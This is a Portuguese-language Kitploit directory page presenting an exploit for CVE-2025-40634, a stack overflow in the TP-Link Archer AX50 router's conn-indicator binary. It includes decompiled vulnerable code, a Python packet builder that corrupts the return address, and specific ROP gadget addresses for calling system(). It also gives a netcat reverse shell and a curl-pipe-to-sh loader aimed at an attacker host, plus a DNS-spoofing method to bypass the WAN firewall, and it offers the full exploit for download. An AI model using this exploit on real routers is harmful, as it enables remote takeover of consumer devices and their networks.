Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-40634 — Exploit para estouro de buffer baseado em pilha encontrado no binário conn-indicator no roteador TP-Link Archer AX50 | Kitploit
Ferramentas/GitHubGitHub/hacefresko/cve-2025-40634
Segurança de Sistemas EmbarcadosSegurança IoTExploraçãoFuzzingTestes de PenetraçãoSegurança de HardwareFerramenta de Acesso RemotoExploração de Binários
GitHubhacefresko/cve-2025-40634

CVE-2025-40634

Exploit para estouro de buffer baseado em pilha encontrado no binário conn-indicator no roteador TP-Link Archer AX50

Ver Repositório
318há 10 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-40634

O roteador TP-Link Archer AX50 é vulnerável a um estouro de buffer baseado em pilha na versão de firmware 1.0.14 Build 20240108 rel.42655(4555), levando à execução remota de código tanto na LAN quanto na WAN. Essa vulnerabilidade tem a mesma causa raiz do CVE-2020-10881, descoberta pela equipe Flashback e amplamente detalhada em sua série de vídeos sobre o assunto (consulte as referências). No entanto, o processo de exploração difere um pouco, portanto, um novo exploit teve que ser escrito.

Causa raiz

Esta vulnerabilidade ocorre no binário conn-indicator, que é responsável por verificar se o roteador está conectado à internet, enviando periodicamente consultas DNS e escutando suas respostas em uma porta UDP aleatória entre 32000 e 61000.

A função que recebe e processa primeiro esses pacotes de resposta DNS é TPDns_RecvAndResolve(), localizada em 0x00405e3c. Ao receber um pacote com recvfrom, ele é armazenado em buf, que tem um tamanho de 2960 bytes. Em seguida, verifica se o código de retorno está correto (RCODE == 0) e verifica os números de perguntas e respostas no pacote (QDCOUNT e ANCOUNT). Para processar as respostas, ela chama process_resolved_IP() e passa um ponteiro para buf, answer_ptr, que é um ponteiro para onde as respostas estão localizadas dentro do pacote em buf, o número de respostas (ANCOUNT) e outros sinalizadores:

root@kitploit:~
undefined4 * TPDns_RecvAndResolve(int socket,void *param_2,int param_3){
  
  [...]
  
  byte buf [2960];
  
  [...]
  
      while( true ) {
        recv_bytes = recvfrom(socket,buf + total_recv_bytes,0xb90 - total_recv_bytes,0,&sStack_50,
                              local_38);
        piVar2 = __errno_location();
        if (recv_bytes == 0) goto RECV_ERROR;
        if (recv_bytes < 0) break;
        total_recv_bytes = total_recv_bytes + recv_bytes;
        if (2959 < total_recv_bytes) goto PROCESS_DNS_RESP;
      }

  [...]

                    /* Check that ANCOUNT is not 0 (answer contains at least one domain) */
          puVar5 = (undefined4 *)0x0;
          if (buf._6_2_ != 0) {
            local_40 = 0;
            puVar5 = process_resolved_IP(buf,answer_ptr,(uint)buf._6_2_,&local_3c,&local_40);
            answer_ptr = answer_ptr + local_40;
          }

  [...]

Função process_resolved_IP(), localizada em 0x00405818, percorre cada resposta e chama DNS_answer_parser() para cada uma delas. Ela passa como argumentos o mesmo ponteiro para buf, answer, que é um ponteiro para a resposta atual sendo analisada dentro do pacote original em buf, e um ponteiro para current_answer, que é um buffer de tamanho 256:

root@kitploit:~
undefined4 * process_resolved_IP(byte *buf,byte *answer_ptr,uint ANCOUNT,undefined4 *param_4,int *param_5){
  
  [...]
  
  byte current_answer [256];
  ushort answer_flags [5];
  
  i = 0;
  puVar9 = (undefined4 *)0x0;
  puVar7 = (undefined4 *)0x0;
  answer = answer_ptr;
  do {
                    /* Check if all answers have been parsed already */
    if (i == ANCOUNT) {
      if (param_4 != (undefined4 *)0x0) {
        *param_4 = puVar7;
      }
      if (param_5 != (int *)0x0) {
        *param_5 = (int)answer - (int)answer_ptr;
      }
      return puVar9;
    }
    bytes_processed = DNS_answer_parser(buf,answer,current_answer,1);
    memcpy(answer_flags,answer + bytes_processed,10);
    uVar1 = answer_flags._4_4_;
    bytes_processed = bytes_processed + 10;
    uVar6 = (uint)answer_flags[4];
    uVar8 = (uint)answer_flags[0];
    if (uVar8 == 2) {
LAB_00405924:
      DNS_answer_parser(buf,answer + bytes_processed,abStack_240,1);
    }
    else if (uVar8 < 3) {
      pbVar2 = answer + bytes_processed;
      if (uVar8 == 1) {
        sprintf((char *)abStack_240,"%u.%u.%u.%u",(uint)*pbVar2,(uint)pbVar2[1],(uint)pbVar2[2],
                (uint)pbVar2[3]);
      }
    }
    else {
      if (uVar8 == 5) goto LAB_00405924;
      if (uVar8 == 0x1c) {
        inet_ntop(10,answer,(char *)abStack_240,0xff);
      }
    }
    answer = answer + bytes_processed + uVar6;
  
  [...]

    i = i + 1;
  } while( true );
}

Função DNS_answer_parser(), localizada em 0x004054e0, analisa cada resposta individualmente, que consiste em um nome de domínio representado como <len><domain><len><domain>.... Como exemplo, example.com seria representado como 7example3com. A função itera por cada par de <len><domain> que constituem o nome de domínio na resposta e verifica se <len> é menor que 63 (domain_name & 0xc0 != 0). Em seguida, chama memcpy e copia <len> bytes de answer, correspondentes a <domain>, para current_answer. Repete o processo para o próximo par de <len><domain> no nome de domínio.

root@kitploit:~
int DNS_answer_parser(byte *buf,byte *answer,byte *current_answer,int flag){
  int iVar1;
  uint __n;
  int iVar2;
  uint uVar3;
  ushort flag_and_offset;
  byte domain_name;
  
  iVar2 = 0;
  do {
    domain_name = *answer;
    __n = (uint)domain_name;
    iVar1 = 1;
    if (__n == 0) {
      *current_answer = 0;
LAB_004055b0:
      return iVar2 + iVar1;
    }
                    /* Check if compression mode is used */
    if ((domain_name & 0xc0) != 0) {
      flag_and_offset = CONCAT11(domain_name,answer[1]);
      DNS_answer_parser(buf,buf + (flag_and_offset & 0x3fff),current_answer,flag);
      iVar1 = 2;
      goto LAB_004055b0;
    }
    uVar3 = __n + 1;
    if (flag == 0) {
      *current_answer = '.';
      memcpy(current_answer + 1,answer + 1,__n);
      __n = uVar3;
    }
    else {
      memcpy(current_answer,answer + 1,__n);
    }
    answer = answer + uVar3;
    current_answer = current_answer + __n;
    iVar2 = iVar2 + uVar3;
    flag = 0;
  } while( true );
}

Como current_answer tem apenas 256 bytes de comprimento, é possível para um atacante enviar um pacote com uma resposta contendo um nome de domínio grande o suficiente para estourar o buffer.

Exploração

O processo de exploração é muito semelhante ao explicado pela equipe Flashback para o CVE-2020-10881 em sua série de vídeos sobre o assunto (veja as referências), com algumas diferenças importantes:

  1. Os endereços não são os mesmos
  2. O código não é exatamente o mesmo, então offsets e o tamanho da pilha em alguns momentos também não eram os mesmos
  3. Enquanto o primeiro e o terceiro gadgets ROP eram os mesmos (localizados em endereços diferentes), o segundo difere na instrução move, pois agora o registrador que é movido para $a2 como argumento count para memcpy() é $s1 em vez de $s0.
  4. A variável i em process_resolved_IP() é carregada em $s5 em vez de $s8. Então, quando comparada a $v1, $v1 é obtido de $sp+616, que está muito longe do buffer estourado, então a pilha teve que ser corrompida ainda mais a partir da resposta e do comando.

Com isso em mente, explicarei todo o processo de qualquer forma.

O binário conn-indicator tem NX ativado e ASLR em tudo, exceto nele mesmo:

root@kitploit:~
root@Archer_AX50:/proc/6541# cat maps
00400000-0040f000 r-xp 00000000 1f:0a 1430       /usr/sbin/conn-indicator
0041e000-0041f000 rw-p 0000e000 1f:0a 1430       /usr/sbin/conn-indicator
0041f000-00433000 rw-p 00000000 00:00 0          [heap]
778c2000-778d8000 r-xp 00000000 1f:0a 4681       /lib/libm-0.9.33.2.so
778d8000-778e7000 ---p 00000000 00:00 0
778e7000-778e8000 rw-p 00015000 1f:0a 4681       /lib/libm-0.9.33.2.so
778e8000-778fa000 r-xp 00000000 1f:0a 2506       /usr/lib/libz.so.1.2.7
778fa000-7790a000 ---p 00000000 00:00 0
7790a000-7790b000 rw-p 00012000 1f:0a 2506       /usr/lib/libz.so.1.2.7
7790b000-77a2b000 r-xp 00000000 1f:0a 2509       /usr/lib/libxml2.so.2.7.8
77a2b000-77a3a000 ---p 00000000 00:00 0
77a3a000-77a40000 rw-p 0011f000 1f:0a 2509       /usr/lib/libxml2.so.2.7.8
77a40000-77a46000 r-xp 00000000 1f:0a 2496       /usr/lib/libjson.so.0.0.1
77a46000-77a55000 ---p 00000000 00:00 0
77a55000-77a56000 rw-p 00005000 1f:0a 2496       /usr/lib/libjson.so.0.0.1
77a56000-77aac000 r-xp 00000000 1f:0a 4804       /lib/libuClibc-0.9.33.2.so
77aac000-77abb000 ---p 00000000 00:00 0
77abb000-77abc000 r--p 00055000 1f:0a 4804       /lib/libuClibc-0.9.33.2.so
77abc000-77abd000 rw-p 00056000 1f:0a 4804       /lib/libuClibc-0.9.33.2.so
77abd000-77ac2000 rw-p 00000000 00:00 0
77ac2000-77ad6000 r-xp 00000000 1f:0a 4872       /lib/libgcc_s.so.1
77ad6000-77ae5000 ---p 00000000 00:00 0
77ae5000-77ae6000 rw-p 00013000 1f:0a 4872       /lib/libgcc_s.so.1
77ae6000-77aef000 r-xp 00000000 1f:0a 4893       /lib/libuci.so
77aef000-77afe000 ---p 00000000 00:00 0
77afe000-77aff000 rw-p 00008000 1f:0a 4893       /lib/libuci.so
77aff000-77b01000 r-xp 00000000 1f:0a 4711       /lib/libblobmsg_json.so
77b01000-77b10000 ---p 00000000 00:00 0
77b10000-77b11000 rw-p 00001000 1f:0a 4711       /lib/libblobmsg_json.so
77b11000-77b15000 r-xp 00000000 1f:0a 4709       /lib/libubus.so
77b15000-77b24000 ---p 00000000 00:00 0
77b24000-77b25000 rw-p 00003000 1f:0a 4709       /lib/libubus.so
77b25000-77b2e000 r-xp 00000000 1f:0a 4714       /lib/libubox.so
77b2e000-77b3d000 ---p 00000000 00:00 0
77b3d000-77b3e000 rw-p 00008000 1f:0a 4714       /lib/libubox.so
77b3e000-77b41000 r-xp 00000000 1f:0a 4903       /lib/libdl-0.9.33.2.so
77b41000-77b50000 ---p 00000000 00:00 0
77b50000-77b51000 r--p 00002000 1f:0a 4903       /lib/libdl-0.9.33.2.so
77b51000-77b52000 rw-p 00003000 1f:0a 4903       /lib/libdl-0.9.33.2.so
77b52000-77b59000 r-xp 00000000 1f:0a 4837       /lib/ld-uClibc-0.9.33.2.so
77b65000-77b68000 rw-p 00000000 00:00 0
77b68000-77b69000 r--p 00006000 1f:0a 4837       /lib/ld-uClibc-0.9.33.2.so
77b69000-77b6a000 rw-p 00007000 1f:0a 4837       /lib/ld-uClibc-0.9.33.2.so
7fa04000-7fa25000 rw-p 00000000 00:00 0          [stack]
7ffff000-80000000 r-xp 00000000 00:00 0          [vdso]
root@Archer_AX50:/proc/6541# exploit

Portanto, a estratégia para explorar essa vulnerabilidade é construir uma cadeia ROP na qual possamos executar system() com o comando desejado.

Para ser capaz de estourar o buffer e corromper o registrador $ra, um atacante precisa enviar uma resposta DNS com uma resposta contendo um nome de domínio suficientemente grande. Em relação ao cabeçalho DNS, o único requisito é que RCODE seja 0 e que ANCOUNT seja 1, já que o pacote precisa conter apenas uma resposta. Como exemplo, o pacote a seguir corrompe o registrador $ra com 0x50505050:

root@kitploit:~
# len of each domain name must be less than 63
DOMAIN_LEN = 0x3f

TXID = [0, 0]
FLAGS = [0, 0]
QDCOUNT = [0, 0]
ANCOUNT = [0, 1]
NSCOUNT = [0, 0]
ARCOUNT = [0, 0]

# DNS response header
packet = []
packet += TXID
packet += FLAGS
packet += QDCOUNT
packet += ANCOUNT
packet += NSCOUNT
packet += ARCOUNT

# 4 domain names with length DOMAIN_LEN to fill up the buffer
for i in range (0,4):
    packet += [DOMAIN_LEN]
    for j in range(0, DOMAIN_LEN):
        packet += [0x41]

# Domain name to fill up remaining variables
packet += [0x17]
packet += [0x41] * 23

# Domain name to corrupt the stack
packet += [0x28]
packet += struct.pack(">I", 0x30303030) # s0
packet += struct.pack(">I", 0x31313131) # s1
packet += struct.pack(">I", 0x32323232) # s2
packet += struct.pack(">I", 0x33333333) # s3
packet += struct.pack(">I", 0x34343434) # s4
packet += struct.pack(">I", 0x35353535) # s5
packet += struct.pack(">I", 0x36363636) # s6
packet += struct.pack(">I", 0x37373737) # s7
packet += struct.pack(">I", 0x38383838) # s8
packet += struct.pack(">I", 0x50505050) # ra
packet += [0]

Agora, como o endereço do binário é sempre o mesmo em cada execução e ele possui uma área gravável, o plano é copiar o comando a ser executado para lá e então chamar system() com ele. Para fazer isso, a seguinte cadeia ROP é usada:

  1. Este gadget prepara argumentos para memcpy(). O endereço do próximo gadget é carregado em $ra. Em seguida, $s2 é movido para $v0. Isso contém o endereço da área gravável do binário na qual o comando será copiado, que será o argumento dest para memcpy(). Então, o argumento count para memcpy é carregado em $s1 a partir de um endereço da pilha que controlamos. Finalmente, ele salta para o próximo gadget:
root@kitploit:~
00402700  lw      ra, 0x2c(sp)
00402704  move    v0, s2
00402708  lw      s2, 0x28(sp)
0040270c  lw      s1, 0x24(sp)
00402710  lw      s0, 0x20(sp)
00402714  jr      ra
00402718  addiu   sp, sp, 0x30
  1. Este gadget continua preparando argumentos para memcpy() e então a chama. O argumento dest para memcpy(), correspondente à área gravável do binário, que estava em $v0, é carregado em $a0 como o primeiro parâmetro de memcpy(). Neste ponto da execução, $a1 aponta para o final da resposta no pacote de resposta DNS, que é onde colocamos nossa string de comando, então não há necessidade de preparar o parâmetro src. Em seguida, $s1, que contém o parâmetro count carregado no gadget anterior, é movido para $a2 como o terceiro parâmetro para memcpy(). Por fim, memcpy() é chamado e a string de comando é copiada para a área gravável do binário. Este gadget está localizado no final de , então agora a execução continua dentro dela. A pilha precisa ser organizada agora para que a função possa retornar com sucesso. Para fazer isso, algumas variáveis desta função que são carregadas da pilha e de alguns registradores são cuidadosamente colocadas no payload, como , , e . Ao retornar, o endereço de é novamente obtido da pilha, no qual colocamos o endereço do próximo gadget para pular para lá.
root@kitploit:~
00405a98  move    a0, v0
00405a9c  jal     <EXTERNAL>:memcpy
00405aa0  _move   a2, s1

[...]
  1. Este gadget prepara o argumento para system() e a chama. Neste ponto da execução, $v0 contém o valor de $s3, no qual colocamos o endereço da área gravável no binário, contendo agora o comando. Então, $v0 é movido para $a0. Em seguida, o endereço de system(), que é importado para o binário, é colocado a partir da pilha em $ra e system() é chamado, alcançando a execução de código.
root@kitploit:~
004065e8  move    a0, v0
004065ec  clear   v0
004065f0  lw      ra, 0x1c(sp)
004065f4  jr      ra

Agora, o shell reverso a ser executado no alvo, que executa busybox, é o seguinte:

root@kitploit:~
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker> <port> >/tmp/f

No entanto, o comando a ser executado deve ter menos de 62 caracteres e, como o sistema de arquivos é somente gravável em /tmp, foi impossível executar o shell reverso diretamente. Em vez disso, um loader foi executado: curl http://<attacker>:<port>/ | sh, que recupera o shell reverso do atacante.

Agora, a única coisa que resta é fazer brute force na porta em que conn-indicator está escutando, o que pode ser facilmente automatizado.

Até este ponto, esse exploit funcionaria apenas no lado da LAN, já que o lado da WAN é protegido por firewall. No entanto, há uma maneira de contornar essa restrição. Para que conn-indicator receba as respostas DNS, o firewall permite pacotes que vêm do mesmo IP das consultas DNS enviadas pelo binário, ou seja, pacotes que vêm do DNS que o roteador alvo está usando. Assim, para contornar o firewall, basta enviar pacotes falsificados como se fossem do servidor DNS, que, se o alvo estiver em uma rede local, provavelmente será algo como 192.168.0.1, 192.168.1.1 ou 10.0.0.1, e se o alvo estiver diretamente conectado à Internet, provavelmente será algo como 8.8.8.8, 1.1.1.1 ou outros servidores DNS comuns.

O exploit totalmente funcional funciona tanto para LAN quanto para WAN. O modo LAN faz brute force em todas as portas de 32000 a 61000 e o modo WAN faz brute force nas mesmas portas e em todos os IPs DNS possíveis, que estão armazenados na SPOOF_LIST. Esta lista deve ser editada com base no conhecimento do atacante sobre o alvo, no entanto, dado tempo suficiente (minutos), ela deve cobrir 90% dos casos.

Referências

  • Página oficial do TP-Link Archer AX50
  • Flashback Team - DNS Remote Code Execution: Finding the Vulnerability 👾 (Parte 1)
  • Flashback Team - DNS Remote Code Execution: Writing the Exploit 💣 (Parte 2)
Baixar ferramenta
  • O sistema de arquivos é somente leitura, exceto /tmp, então todas as escritas e leituras devem ser feitas lá. Isso torna impossível que o shell reverso tenha menos de 62 caracteres, então, para implantá-lo no alvo, ele deve ser servido a partir de um servidor web e um comando para baixá-lo e executá-lo deve ser enviado ao alvo.
  • process_resolved_IP()
    ANCOUNT
    param_4
    param_5
    i
    $ra